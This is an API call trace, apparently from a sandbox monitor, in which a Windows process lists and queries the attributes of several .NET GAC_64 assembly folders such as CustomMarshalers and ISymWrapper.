	[0088.569] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.569] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.569] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261d958 | out: lpFileInformation=0x1261d958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59066b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59066b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.569] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.569] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59066b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59066b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.569] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59066b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59066b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.569] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x59066b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x19ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CustomMarshalers.dll", cAlternateFileName="CUSTOM~1.DLL")) returned 1
	[0088.569] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.569] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.569] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261d9f8 | out: lpFileInformation=0x1261d9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x59066b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x19ac0)) returned 1
	[0088.570] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\isymwrapper"), fInfoLevelId=0x0, lpFileInformation=0x1261da48 | out: lpFileInformation=0x1261da48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.570] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\isymwrapper"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.570] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.570] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.570] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.570] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.570] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.570] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\isymwrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261dae8 | out: lpFileInformation=0x1261dae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.570] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\isymwrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.570] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.571] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.571] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISymWrapper.dll", cAlternateFileName="ISYMWR~1.DLL")) returned 1
	[0088.571] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.571] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.571] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\ISymWrapper.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\isymwrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\isymwrapper.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261db88 | out: lpFileInformation=0x1261db88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x118b0)) returned 1
	[0088.571] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.transactions.bridge.dtc"), fInfoLevelId=0x0, lpFileInformation=0x1261dbd8 | out: lpFileInformation=0x1261dbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93eb2480, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93eb2480, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.571] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.transactions.bridge.dtc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.571] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93eb2480, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93eb2480, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.571] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93eb2480, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93eb2480, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.571] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd65f00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.571] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.571] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.572] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.transactions.bridge.dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261dc78 | out: lpFileInformation=0x1261dc78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd65f00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.572] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.transactions.bridge.dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.572] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd65f00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.572] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd65f00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.572] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x20308, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.Dtc.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.572] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.572] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.572] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Transactions.Bridge.Dtc.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.transactions.bridge.dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.transactions.bridge.dtc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261dd18 | out: lpFileInformation=0x1261dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x20308)) returned 1
	[0088.572] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.visualbasic.activities.compiler"), fInfoLevelId=0x0, lpFileInformation=0x1261dd68 | out: lpFileInformation=0x1261dd68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93fbce20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93fbce20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93fbce20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.572] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.visualbasic.activities.compiler"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.572] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93fbce20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93fbce20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93fbce20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.573] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93fbce20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93fbce20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93fbce20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.573] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93f96cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56dbcae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56dbcae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.573] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.573] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.573] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.visualbasic.activities.compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261de08 | out: lpFileInformation=0x1261de08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93f96cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56dbcae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56dbcae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.573] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.visualbasic.activities.compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.573] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93f96cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56dbcae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56dbcae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.573] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93f96cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56dbcae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56dbcae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
